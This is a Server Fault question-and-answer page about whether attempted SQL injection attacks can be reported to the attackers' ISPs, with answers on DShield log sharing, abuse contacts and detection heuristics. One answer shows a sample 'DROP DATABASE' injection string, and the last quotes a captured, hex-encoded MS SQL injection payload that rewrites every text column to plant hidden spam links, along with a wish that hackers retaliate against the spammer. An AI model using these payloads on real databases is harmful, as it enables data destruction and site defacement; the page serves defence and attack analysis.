Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

EDIT : Sorry, my question clearly wasn't clear. I don't want to report attempted server attacks internally; we already have systems that log. record and report that activity.

What I was keen to do was to report the attacks to the perpetrator's ISP or somesuch.

Original question:

Our sites are immune to SQL Injection (AFAIK!), but of course we still get targeted regularly.

Is there some way I could automate reporting of attempted attacks - reverse DNS lookup etc.?

Although I guess its only worthwhile if, overall, it would be doing the community a favour.

Ditto I suppose for all the other attacks we see - probing for wide-open BBS, MySQL, PHPAdmin, etc.

share|improve this question

migrated from Oct 16 '09 at 10:48

This question came from our site for professional and enthusiast programmers.

Who are you thinking of reporting this information to? – John Gardeniers Oct 16 '09 at 11:55
up vote 3 down vote accepted

Donate your logs to SANS! They have a client for most firewalls that will pull the logs and send them to the DShield database.

share|improve this answer
That looks useful, thanks. Not sure I can detect this at the firewall, but their format for client-submissions doens't look too onerous. – Kristen Oct 16 '09 at 12:03

Either everyone else understood something else or I did, but from what I can understand you are trying to report the people attempting SQL injections to their ISPs.

This will usually be a dead end, and you're better off just blocking the users attempting the attacks, as most machines performing attacks are not usually owned by the 'hacker', and instead they could be compromised machines, or someone abusing a website which offers free vulnerability scans or something similar.

share|improve this answer
You did understand, thanks. I've clarified my question. On re-reading it it is clear to me that "Report" was ambiguous. – Kristen Oct 16 '09 at 11:56

Most ISPs have an email address for reporting such things.. If you can revers lookup the ISP name from the IP I would send the info there.

share|improve this answer

By SQL injection from sites, I take it: (a) you have some web forms, (b) there's a SQL back-end, (c) you use methods which prevent user input from being mis-interpreted as SQL (parameterized queries, etc.)

But still you would like to detect attempts at SQL injection. Ok.

One of the standard ways to attempt SQL injection is to probe around seeking an input field which is incorporated to a SQL query by using string insertion. For example:

snprintf(buf, dimensionof(buf), "SELECT calory_limit FROM user_diets WHERE user_firstname='%s' AND user_surname='%s'", firstname, surname);

Where surname and firstname are unfiltered inputs from a web form. In this example, a user could provide the name firstname=Johnny', surname='-';DROP DATABASE;--

The sprintf would result in:

SELECT calory_limit FROM user_diets WHERE user_firstname='Johnny'' AND user_surname=''-';DROP DATABASE;--'

Because '' (two single quotes) in SQL is interpreted as an escaped ' which is part of the string, we have "broken open" the string delimiter in the intended original statement. This lets us convert what later should have been string, surname, into commmand.

In short, look for people entering fields which:

  • End in a single quote mark
  • Begin with a single quote mark
  • Contain a "--" at or near the end (The purpose of wrapping the attack payloads up with a SQL comment delimiter is that without that, the attacker's distortion of the intended query could leave some unparsable command bits at the end. These could generate an error message to a log and alert you.)

Also, you might consider the same heuristics after, e.g., UTF-8 decoding the input. Or UTF-8 decoding it twice over. The penetration tester will be thinking about bugs that might be in your code, so they will try inputs which seem not to make sense -- such as twice-UTF-8-encoded single quote marks.

Also, look for " and other HTML entity sequences.

You can search and find some papers which detail certain specific attack flavors: cross-site scripting, SQL injection, URL modification. Reading some papers there will lead you to more.

share|improve this answer

Playing devils advocate, it's almost always pointless to waste your time reporting these machines. Most attacks come from zombies machines that the user has no idea is even occurring. So even if you report them to their ISP and their ISP cuts their connection until they have their machine cleaned they will most likely just end up infected again later or even if they don't the fact you removed 1 zombie machine from the internet is a meaningless achievement.

The only time I would say it's worth reporting these attempts is if the machine is part of a hosted network like ThePlanet. Taking a compromised server off the internet is a big deal especially since the owner of the server might not even realize it's compromised. The other difference is the scale of attacks the server is capable of versus the home pc.

share|improve this answer

How about when the sql attack contains a HTTP link to a website specifically to try and create hyperlinks back to a target website (in the case below - its clearly an attempt to jump up the search engines)?

The website clearly trying to benefit from this ridiculous behaviour is http :// which I would love some more technically minded hackers to serve them some of their own medicine.

The attack was a varbinary converted sql script which follows:

/pages.aspx page=1'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e616630387b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834363270782c6175746f2c6175746f2c3436377078293b7d3c2f7374796c653e3c64697620636c6173733d616630383e4265747765656e20736f6d652074696d65207761746368696e67203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665742e636f6d203e706179646179206c6f616e733c2f613e206f722068757272696564206465636973696f6e2e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)

The IP being in the Ukraine.

A simple script within SQL as follows shows the real injection content received only today at one of my servers:

declare @b varbinary(max)

set @b = 0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d535542535452494e47285b272b40432b275d2c20312c2043484152494e4445582827273c2f7469746c653e3c27272c5b272b40432b275d29202d203129207768657265205b272b40432b275d206c696b65202727253c2f7469746c653e3c252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72

select cast(@b as varchar(max)) 
share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.